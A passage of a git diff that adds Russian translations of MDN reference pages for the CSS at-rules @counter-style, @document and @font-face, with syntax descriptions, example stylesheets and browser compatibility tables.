+   <th>IE</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>Basic support {{Deprecated_Inline}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}} <sup><a href="compatNote_1">[1]</a></sup></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <thead>
+  <tr>
+   <th>Feature</th>
+   <th>WebView Android</th>
+   <th>Chrome Android</th>
+   <th>Edge Mobile</th>
+   <th>Firefox Android</th>
+   <th>Opera Android</th>
+   <th>Safari iOS</th>
+   <th>Samsung Internet Android</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>Basic support {{Deprecated_Inline}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}} <sup><a href="compatNote_1">[1]</a></sup></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p id="compatNote_1">1. XBL is deprecated and being removed (See {{bug(1397874)}}).</p>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/XBL/XBL_1.0_Reference/Binding_Attachment_and_Detachment">XBL Reference: Binding Attachment and Detachment</a></li>
+ <li><a href="/en-US/docs/Mozilla/Tech/XUL/Tutorial/Introduction_to_XBL">XUL Tutorial: Introduction to XBL</a></li>
+</ul>
diff --git a/files/ru/web/css/@counter-style/additive-symbols/index.html b/files/ru/web/css/@counter-style/additive-symbols/index.html
new file mode 100644
index 0000000000..97570d3e45
--- /dev/null
+++ b/files/ru/web/css/@counter-style/additive-symbols/index.html
@@ -0,0 +1,125 @@
+---
+title: additive-symbols
+slug: Web/CSS/@counter-style/additive-symbols
+translation_of: Web/CSS/@counter-style/additive-symbols
+---
+<h2 id="Описание">Описание</h2>
+
+<p>Дескриптор аддитивных символов аналогичен дескриптору <span class="seoSummary"> {{cssxref('symbols')}} </span>и позволяет пользователю указывать символы которые будут использоваться для представлений счетчика, когда значение дескриптора<span class="seoSummary"> {{cssxref('system')}}  <em>адиктивное</em>. Дескриптор <code>additive-symbols</code> </span>определяет так называемые аддитивные кортежи<span class="seoSummary">, </span>каждый из которых представляет собой пару, содержащую символ и неотрицательный целочисленный вес<span class="seoSummary">.</span> Аддитивная система используется для построения систем нумерации знаков, таких как римские цифры.</p>
+
+<p>Когда значение системного дескриптора является циклическим, числовым, буквенным, символическим или фиксированным, дескриптор <code>symbols</code> используется вместо аддитивных символов для указания символов счетчика.</p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="brush: css">additive-symbols: 3 "0";
+additive-symbols: 3 "0", 2 "\2E\20";
+additive-symbols: 3 "0", 2 url(symbol.png);
+</pre>
+
+<h3 id="Формальный_синтаксис">Формальный синтаксис</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Example" name="Example">Пример</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="html prettyprint" id="htmlOutput">&lt;ul class="list"&gt;
+   &lt;li&gt;One&lt;/li&gt;
+   &lt;li&gt;Two&lt;/li&gt;
+   &lt;li&gt;Three&lt;/li&gt;
+   &lt;li&gt;Four&lt;/li&gt;
+   &lt;li&gt;Five&lt;/li&gt;
+&lt;/ul&gt;</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">@counter-style additive-symbols-example {
+  system: additive;
+  additive-symbols: I 1;
+}
+.list {
+  list-style: additive-symbols-example;
+}</pre>
+
+<h3 id="Результат">Результат</h3>
+
+<p>{{ EmbedLiveSample('Example') }}</p>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Counter Styles', '#counter-style-symbols', 'additive-symbols')}}</td>
+   <td>{{Spec2('CSS3 Counter Styles')}}</td>
+   <td>Первоначальное определение</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoDesktop(33)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoDesktop(33)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{Cssxref("list-style")}}, {{Cssxref("list-style-image")}}, {{Cssxref("list-style-position")}}</li>
+ <li>{{cssxref("symbols", "symbols()")}}, функциональная запись, создающая анонимные стили счетчиков.</li>
+</ul>
diff --git a/files/ru/web/css/@counter-style/index.html b/files/ru/web/css/@counter-style/index.html
new file mode 100644
index 0000000000..d93ef88d12
--- /dev/null
+++ b/files/ru/web/css/@counter-style/index.html
@@ -0,0 +1,196 @@
+---
+title: '@counter-style'
+slug: Web/CSS/@counter-style
+tags:
+  - CSS CSS At-rule CSS Counter Styles Reference
+  - NeedsTranslation
+  - TopicStub
+translation_of: Web/CSS/@counter-style
+---
+<p style="">{{CSSRef}}</p>
+
+<h2 id="Описание" style="">Описание</h2>
+
+<p>The<strong> <code>@counter-style</code></strong> <a href="/en/CSS" title="CSS">CSS</a> <a href="/en/CSS/At-rule" title="en/CSS/At-rule">at-rule</a> lets authors define specific counter styles that are not part of the predefined set of styles. A <code>@counter-style</code> rule defines how to convert a counter value into a string representation.</p>
+
+<p style="">Initial version of CSS defined a set of useful counter styles. Although more styles where added to this set of predefined styles over the years, this restrictive way proved unable to fulfill the needs of worldwide typography. The <code>@counter-style</code> at-rule addresses this shortcoming in an open-ended manner, by allowing authors to define their own counter styles when the pre-defined styles aren't fitting their needs.</p>
+
+<h2 id="Syntax" name="Syntax" style="">Синтаксис</h2>
+
+<h3 id="Дескрипторы" style="">Дескрипторы</h3>
+
+<p>Each <code>@counter-style</code> is identified by a name and has a set of descriptors.</p>
+
+<dl>
+ <dt>{{cssxref("@counter-style/system", "system")}}</dt>
+ <dd>Specifies the algorithm to be used for converting the integer value of a counter to a string representation.</dd>
+</dl>
+
+<dl>
+ <dt>{{cssxref("@counter-style/negative", "negative")}}</dt>
+ <dd>Lets the author specify symbols to be appended or prepended to the counter representation if the value is negative.</dd>
+</dl>
+
+<dl>
+ <dt>{{cssxref("@counter-style/prefix", "prefix")}}</dt>
+ <dd>Specifies a symbol that should be prepended to the marker representation. Prefixes are added to the representation in the final stage, so in the final representation of the counter, it comes before the negative sign.</dd>
+</dl>
+
+<dl>
+ <dt>{{cssxref("@counter-style/suffix", "suffix")}}</dt>
+ <dd>Specifies, similar to the prefix descriptor, a symbol that is appended to the marker representation. Prefixes come after the marker representation.</dd>
+</dl>
+
+<dl style="">
+ <dt style="">{{cssxref("@counter-style/range", "range")}}</dt>
+ <dd>Defines the range of values over which the conter style is applicable. If a counter style is used to represent a counter value outside of its ranges, the counter style will drop back to its fallback style.</dd>
+</dl>
+
+<dl>
+ <dt>{{cssxref("@counter-style/pad", "pad")}}</dt>
+ <dd>Is used when you need the marker representations to be of a minimum length. For example if you want the counters to start start at 01 and go through 02, 03, 04 etc, then the pad descriptor is to be used. For representations larger than the specified pad value, the marker is constructed as normal.</dd>
+</dl>
+
+<dl>
+ <dt>{{cssxref("@counter-style/fallback", "fallback")}}</dt>
+ <dd>Specifies a system to fall back into if either the specified system is unable to construct the representation of or a counter value or if the counter value outside the specified range. If the specified fallback also fails to represent the value, then the fallback style's fallback is used, if one is specified. If there are either no fallback systems described or if the chain of fallback systems are unable to represent a counter value, then it will ultimately fall back to the decimal style.</dd>
+</dl>
+
+<dl style="">
+ <dt>{{cssxref("@counter-style/symbols", "symbols")}}</dt>
+ <dd style="">Specifies the symbols that are to be used for the marker representations. Symbols can contain string, images or custom identifiers. How the symbols are used to construct the marker representation is up to the algorithm specified in the system descriptor. For example, if the system specified is fixed, then each of the N symbols specified in the descriptor will be used to represent the first N counter symbols. Once the specified set of symbols have exhausted, the fallback style will be used for the rest of the list.<br>
+ <br>
+ The below @counter-style rule uses images instead of character symbols.<br>
+
+ <pre class="brush: css">@counter-style winners-list {
+  system: fixed;
+  symbols: url(gold-medal.svg) url(silver-medal.svg) url(bronze-medal.svg);
+  suffix: " ";
+}</pre>
+ </dd>
+</dl>
+
+<dl>
+ <dt>{{cssxref("@counter-style/additive-symbols", "additive-symbols")}}</dt>
+ <dd>While the symbols specified in the symbols descriptor is used for constructing marker representation by most algorithms, some systems such as 'additive' rely on <em>additive tuples</em> described in this descriptor. Each additive tuple consists of a counter symbol and a non negative integer weight. The additive tuples must be specified in the descending order of their weights.</dd>
+</dl>
+
+<dl>
+ <dt>{{cssxref("@counter-style/speak-as", "speak-as")}}</dt>
+ <dd>Describes how to read out the counter style in speech synthesizers, such as screen readers. For example, the value of the marker symbol can be read out as numbers or alphabets for ordered lists or as audio cues for unordered lists, based on the value of this descriptor.</dd>
+</dl>
+
+<h3 id="Формальный_синтаксис" style="">Формальный синтаксис</h3>
+
+<pre class="syntaxbox">{{csssyntax}}
+</pre>
+
+<h2 id="Примеры" style="">Примеры</h2>
+
+<pre class="brush: css">@counter-style circled-alpha {
+  system: fixed;
+  symbols: Ⓐ Ⓑ Ⓒ Ⓓ Ⓔ Ⓕ Ⓖ Ⓗ Ⓘ Ⓙ Ⓚ Ⓛ Ⓜ Ⓝ Ⓞ Ⓟ Ⓠ Ⓡ Ⓢ Ⓣ Ⓤ Ⓥ Ⓦ Ⓧ Ⓨ Ⓩ;
+  suffix: " ";
+}</pre>
+
+<p>The above counter style rule can be applied to lists like this:</p>
+
+<pre class="brush: css">.items {
+   list-style: circled-alpha;
+}
+</pre>
+
+<p style="">Which will produce lists like this:</p>
+
+<p style="">Ⓐ One<br>
+ Ⓑ Two<br>
+ Ⓒ Three<br>
+ Ⓓ Four<br>
+ Ⓔ FIve<br>
+ ....<br>
+ ...<br>
+ Ⓨ Twenty Five<br>
+ Ⓩ Twenty Six</p>
+
+<p>27 Twenty Seven<br>
+ 28 Twenty Eight<br>
+ 29 Twenty Nine<br>
+ 30 Thirty</p>
+
+<p>Checkout more examples on the <a href="https://mdn.github.io/css-counter-style-demo/">demo page</a>.</p>
+
+<h2 id="Specifications" name="Specifications" style="">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr style="">
+   <td>{{SpecName('CSS3 Counter Styles', '#the-counter-style-rule', 'counter-style')}}</td>
+   <td>{{Spec2('CSS3 Counter Styles')}}</td>
+   <td style="">Первоначальное определение</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами" style="">Совместимость с браузерами</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoDesktop(33)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile" style="">
+<table class="compat-table">
+ <tbody>
+  <tr style="">
+   <th style="">Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoDesktop(33)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Смотрите_также" style="">Смотрите также</h2>
+
+<ul>
+ <li>{{Cssxref("list-style")}}, {{Cssxref("list-style-image")}}, {{Cssxref("list-style-position")}}</li>
+ <li>{{cssxref("symbols", "symbols()")}}, the functional notation creating anonymous counter styles.</li>
+</ul>
diff --git a/files/ru/web/css/@document/index.html b/files/ru/web/css/@document/index.html
new file mode 100644
index 0000000000..f62bddfb79
--- /dev/null
+++ b/files/ru/web/css/@document/index.html
@@ -0,0 +1,82 @@
+---
+title: '@document'
+slug: Web/CSS/@document
+translation_of: Web/CSS/@document
+---
+<div>{{SeeCompatTable}}</div>
+
+<p><strong><code>@document</code></strong> <a href="/en-US/docs/Web/CSS">CSS</a> <a href="/en-US/docs/Web/CSS/At-rule">at-rule</a>  <span id="result_box" lang="ru"><span>ограничивает правила стиля, содержащиеся в нем, на основе URL-адреса документа.</span> <span>Он разработан в основном для пользовательских таблиц стилей, хотя он также может использоваться в авторских таблицах стилей.</span></span></p>
+
+<pre class="brush: css no-line-numbers">@document url("https://www.example.com/") {
+  h1 {
+    color: green;
+  }
+}
+</pre>
+
+<h2 id="Синтаксис"><span class="short_text" id="result_box" lang="ru"><span>Синтаксис</span></span></h2>
+
+<p><span id="result_box" lang="ru"><span>Правило</span></span> <code>@document</code> <span id="result_box" lang="ru"><span>может указывать одну или несколько подходящих функций.</span> <span>Если какая-либо из функций применяется к данному URL-адресу, это правило вступит в силу для этого URL-адреса.</span> <span>Доступны следующие функции:</span></span></p>
+
+<ul>
+ <li><code>url()</code>, <span class="short_text" id="result_box" lang="ru"><span>который соответствует точному URL-адресу.</span></span></li>
+ <li><code>url-prefix()</code>, <span id="result_box" lang="ru"><span>который совпадает, если URL-адрес документа начинается с указанного значения.</span></span></li>
+ <li><code>domain()</code>, <span id="result_box" lang="ru"><span>который совпадает, если URL-адрес документа находится в предоставленном домене (или его субдомене).</span></span></li>
+ <li><code>media-document()</code>,<span class="short_text" id="result_box" lang="ru"><span>с параметром видео, изображения, плагина или всего.</span></span></li>
+ <li><code>regexp()</code>, <span id="result_box" lang="ru"><span>который совпадает, если URL-адрес документа сопоставляется с предоставленным</span></span> <a href="/en-US/docs/Web/JavaScript/Guide/Regular_Expressions">регулярным выражением</a>. <span id="result_box" lang="ru"><span>Выражение должно соответствовать всему URL-адресу.</span></span></li>
+</ul>
+
+<p><span id="result_box" lang="ru"><span>Значения, предоставляемые функциям </span></span> <code>url()</code>, <code>url-prefix()</code>, <code>domain()</code>, и <code>media-document()</code> <span id="result_box" lang="ru"><span>могут быть необязательно заключены в одинарные или двойные кавычки.</span> <span>Значения, предоставляемые функции</span></span> <code>regexp()</code> <span id="result_box" lang="ru"><span> должны быть заключены в кавычки.</span></span> .</p>
+
+<p><span id="result_box" lang="ru"><span>Экранированные значения, предоставляемые функции</span></span> <code>regexp()</code> <span id="result_box" lang="ru"><span>акже должны быть экранированы из CSS</span></span>. <span id="result_box" lang="ru"><span>Например,</span></span> <code>.</code> (период) <span id="result_box" lang="ru"><span>соответствует любому символу в регулярных выражениях</span></span>. <span id="result_box" lang="ru"><span>Чтобы соответствовать буквальному периоду, вам сначала нужно избежать этого, используя правила регулярных выражений</span></span> (<code>\.</code>), <span id="result_box" lang="ru"><span> А затем убежать от этой строки с помощью правил CSS </span></span> (<code>\\.</code>).</p>
+
+<div class="note">
+<p><strong>Примечание</strong>: <span id="result_box" lang="ru"><span>Существует версия -moz-prefixed этого свойства </span></span>— <code>@-moz-document</code>. <span id="result_box" lang="ru"><span>Это было ограничено использованием только в пользовательских и UA-листах в Firefox 59 в Nightly and Beta - эксперименте, предназначенном для смягчения потенциальных атак с помощью CSS-инъекций</span></span> ({{bug(1035091)}}).</p>
+</div>
+
+<h3 id="Формальный_синтаксис">Формальный синтаксис</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Пример">Пример</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">@document url(http://www.w3.org/),
+          url-prefix(http://www.w3.org/Style/),
+          domain(mozilla.org),
+          media-document(video),
+          regexp("https:.*") {
+  /* CSS rules here apply to:
+     - The page "http://www.w3.org/"
+     - Any page whose URL begins with "http://www.w3.org/Style/"
+     - Any page whose URL's host is "mozilla.org"
+       or ends with ".mozilla.org"
+     - Any standalone video
+     - Any page whose URL starts with "https:" */
+
+  /* Make the above-mentioned pages really ugly */
+  body {
+    color: purple;
+    background: yellow;
+  }
+}
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<p><a href="http://www.w3.org/TR/2012/WD-css3-conditional-20120911/#at-document">Initially</a> in {{SpecName('CSS3 Conditional')}}, <code>@document</code> has been <a href="http://www.w3.org/TR/2012/WD-css3-conditional-20121213/#changes">postponed</a> to Level 4.</p>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("css.at-rules.document")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a class="external" href="http://lists.w3.org/Archives/Public/www-style/2004Aug/0135">Per-site user style sheet rules</a> on the www-style mailing list.</li>
+</ul>
+
+<div>{{CSSRef}}</div>
diff --git a/files/ru/web/css/@font-face/font-display/index.html b/files/ru/web/css/@font-face/font-display/index.html
new file mode 100644
index 0000000000..e2e0876cc0
--- /dev/null
+++ b/files/ru/web/css/@font-face/font-display/index.html
@@ -0,0 +1,143 @@
+---
+title: font-display
+slug: Web/CSS/@font-face/font-display
+translation_of: Web/CSS/@font-face/font-display
+---
+<div>{{CSSRef}}</div>
+
+<h2 id="Описание">Описание</h2>
+
+<p>Дескриптор <code>font-display</code> определяет то, как шрифт, подключенный через font face будет отображаться в зависимости от того, загрузился ли он и готов ли к использованию.</p>
+
+<h3 id="Временная_шкала_отображения_шрифтов">Временная шкала отображения шрифтов</h3>
+
+<p>Временная шкала отображения шрифтов основывается на таймере, который запускается в момент, когда пользовательский агент начинает попытки по применению загруженного шрифта.  Эта временная шкала разделена на три отрезка, приведенных ниже, которые диктуют поведение рендеринга любых элементов с использованием шрифта.</p>
+
+<dl>
+ <dt>Период блокировки шрифта (Font block period)</dt>
+ <dd>Если шрифт не загружен, любой элемент, который пытается его использовать, должен быть отрендерен с невидимым запасным шрифтом. Если за это время шрифт успешно загружается, то он используется, как обычно.</dd>
+ <dt>Период подмены шрифта (Font swap period)</dt>
+ <dd>Если шрифт не загружен, любой элемент, который пытается его использовать, должен быть отрендерен запасным шрифтом. Если за это время шрифт успешно загружается, то он используется, как обычно.</dd>
+ <dt>Период отказа шрифта (Font failure period)</dt>
+ <dd>Если шрифт не загружен, пользовательский агент воспринимает это как неудачную загрузку и использует запасной шрифт.</dd>
+</dl>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="brush: css;">/* Значения свойства */
+font-display: auto;
+font-display: block;
+font-display: swap;
+font-display: fallback;
+font-display: optional;</pre>
+
+<h3 id="Значения">Значения</h3>
+
+<dl>
+ <dt>auto</dt>
+ <dd>Стратегию загрузки шрифта определяет пользовательский агент.</dd>
+ <dt>block</dt>
+ <dd>Для шрифта задается короткий период блокировки и бесконечный период подмены.</dd>
+ <dt>swap</dt>
+ <dd>Для шрифта не задается период блокировки и задается бесконечный период подмены.</dd>
+ <dt>fallback</dt>
+ <dd>Для шрифта задается очень короткий период блокировки и короткий период подмены.</dd>
+ <dt>optional</dt>
+ <dd>Для шрифта задается очень короткий период блокировки и не задается период подмены.</dd>
+</dl>
+
+<h3 id="Официальный_синтаксис">Официальный синтаксис</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Примеры">Примеры</h2>
+
+<pre class="brush: css; highlight[7]">@font-face {
+  font-family: ExampleFont;
+  src: url(/path/to/fonts/examplefont.woff) format('woff'),
+       url(/path/to/fonts/examplefont.eot) format('eot');
+  font-weight: 400;
+  font-style: normal;
+  font-display: fallback;
+}</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS Font Rendering', '#font-display-desc', 'font-display')}}</td>
+   <td>{{Spec2('CSS Font Rendering')}}</td>
+   <td>Исходное описание</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatChrome(60)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoDesktop("46.0")}}<sup>[2]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatOpera(36)}}<sup>[1]</sup></td>
+   <td>{{CompatSafari(11.1)}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Android Webview</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("46.0")}}<sup>[2]</sup></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatOpera(37)}}<sup>[1]</sup></td>
+   <td>{{CompatSafari(11.1)}}</td>
+   <td>{{CompatChrome(59.0)}}<sup>[1]</sup></td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] За флагом.</p>
+
+<p>[2] Эта возможность доступна, начиная с версии Firefox 46 с настрокой <code>layout.css.font-display.enabled</code>, по умолчанию <code>false</code>.  См. ({{bug(1157064)}}).</p>
diff --git a/files/ru/web/css/@font-face/font-family/index.html b/files/ru/web/css/@font-face/font-family/index.html
new file mode 100644
index 0000000000..39fc326e69
--- /dev/null
+++ b/files/ru/web/css/@font-face/font-family/index.html
@@ -0,0 +1,67 @@
+---
+title: font-family
+slug: Web/CSS/@font-face/font-family
+tags:
+  - Шрифты
+  - дескрипторы
+translation_of: Web/CSS/@font-face/font-family
+---
+<div>{{CSSRef}}</div>
+
+<p>CSS дескриптор <strong><code>font-family</code></strong> позволяет авторам указывать font family для шрифта, указанного в правиле {{cssxref("@font-face")}}.</p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="brush: css">/* &lt;string&gt; значения */
+font-family: "font family";
+font-family: 'another font family';
+
+/* &lt;custom-ident&gt; значение */
+font-family: examplefont;
+</pre>
+
+<h3 id="Значения">Значения</h3>
+
+<dl>
+ <dt><code>&lt;family-name&gt;</code></dt>
+ <dd>Указывает имя font family.</dd>
+</dl>
+
+<h3 id="Синтаксис_2">Синтаксис</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Примеры">Примеры</h2>
+
+<pre class="brush: css">@font-face {
+  font-family: examplefont;
+  src: url('examplefont.ttf');
+}
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментрий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Fonts', '#font-family-desc', 'font-family')}}</td>
+   <td>{{Spec2('CSS3 Fonts')}}</td>
+   <td>Первое определение</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+
+
+<p>{{Compat("css.at-rules.font-face.font-family")}}</p>
diff --git a/files/ru/web/css/@font-face/index.html b/files/ru/web/css/@font-face/index.html
new file mode 100644
index 0000000000..7ae73142db
--- /dev/null
+++ b/files/ru/web/css/@font-face/index.html
@@ -0,0 +1,206 @@
+---
+title: '@font-face'
+slug: Web/CSS/@font-face
+tags:
+  - '@font-face'
+  - At-rule
+  - CSS
+  - CSS Fonts
+  - NeedsTranslation
+  - Reference
+  - типографика
+translation_of: Web/CSS/@font-face
+---
+<div><strong><code>@font-face</code></strong> <a href="/en-US/docs/CSS">CSS</a> <a href="/en-US/docs/CSS/At-rule">@-правило</a> <font>позволяет указать </font><font>шрифты для отображения текста на веб-страницах, которые могут быть загружены либо с удаленного сервера, либо с компьютера пользователя. Если в правиле была объявлена функция </font><code>local()</code>, с названием шрифта, то будет производиться поиск на компьютере пользователя, и в случае обнаружения будет использован этот шрифт. Иначе будет скачан и использован шрифт, указанный в функции <code>url()</code>.</div>
+
+<div> </div>
+
+<div><code>@font-face</code> позволяет разрабатывать контент не ограничиваясь набором "безопасных" шрифтов (шрифтов, которые настолько распространены, что считаются доступными по умолчанию). Возможность определить локально установленный шрифт позволяет более гибко настраивать шрифты не полагаясь на соединение с интернетом. </div>
+
+<div> </div>
+
+<div>Распространенным случаем является одновременное использование <code>url()</code> и <code>local()</code>, чтобы использовать локальный шрифт, если он доступен, или иначе скачать копию шрифта.</div>
+
+<div> </div>
+
+<div><font>Это правило может использоваться не только на верхнем уровне CSS, но и внутри любого </font> <a href="/en-US/docs/CSS/At-rule">@-правила</a>.</div>
+
+<pre class="brush: css no-line-numbers">@font-face {
+ font-family: "Open Sans";
+ src: url("/fonts/OpenSans-Regular-webfont.woff2") format("woff2"),
+        url("/fonts/OpenSans-Regular-webfont.woff") format("woff");
+}</pre>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<h3 id="Descriptors">Descriptors</h3>
+
+<dl>
+ <dt>{{cssxref("@font-face/font-display", "font-display")}}</dt>
+ <dd>Определяет как отображается шрифт, основываясь на том, был ли он загружен и готов ли к использованию.</dd>
+</dl>
+
+<dl>
+ <dt>{{cssxref("@font-face/font-family", "font-family")}}</dt>
+ <dd>Указывает имя шрифта, которое будет использоваться для задания свойств шрифта.</dd>
+ <dt>{{cssxref("@font-face/font-stretch", "font-stretch")}}</dt>
+ <dd>Значение {{cssxref("font-stretch")}}.</dd>
+ <dt>{{cssxref("@font-face/font-style", "font-style")}}</dt>
+ <dd>Значение {{cssxref("font-style")}}.</dd>
+ <dt>{{cssxref("@font-face/font-weight", "font-weight")}}</dt>
+ <dd>Значение {{cssxref("font-weight")}}.</dd>
+ <dt>{{cssxref("@font-face/font-variant", "font-variant")}}</dt>
+ <dd>Значение {{cssxref("font-variant")}}.</dd>
+ <dt>{{cssxref("@font-face/font-feature-settings", "font-feature-settings")}}</dt>
+ <dd>Позволяет контролировать другие расширенные особенности OpenType-шрифтов.</dd>
+ <dt>{{cssxref("@font-face/font-variation-settings", "font-variation-settings")}}</dt>
+ <dd>Позволяет осуществлять низкоуровневый контроль над вариациями OpenType и TrueType шрифтов, указывая четырёхбуквенные названия осей для изменения вместе с их значениями.</dd>
+ <dt>{{cssxref("@font-face/src", "src")}}</dt>
+ <dd><font>Задает ресурс, содержащий данные шрифта. Это может быть URL-адрес расположения удаленного файла шрифта или имя шрифта на компьютере пользователя.<br>
+ <br>
+ Чтобы дать браузеру возможность выбрать наиболее подходящий формат шрифта, его можно указать при объявлении внутри функции <code>format()</code>:</font><br>
+
+ <pre><code>src: url(ideal-sans-serif.woff) format("woff"),
+     url(basic-sans-serif.ttf) format("opentype");</code>
+</pre>
+
+ <p>Список доступных форматов: <code>"woff"</code>, <code>"woff2"</code>, <code>"truetype"</code>, <code>"opentype"</code>, <code>"embedded-opentype"</code>, и <code>"svg"</code>.</p>
+ </dd>
+</dl>
+
+<dl>
+ <dt>{{cssxref("@font-face/unicode-range", "unicode-range")}}</dt>
+ <dd>Диапазон Unicode кодов, который будет использоваться в шрифте.</dd>
+</dl>
+
+<h3 id="Formal_syntax">Formal syntax</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Примеры">Примеры</h2>
+
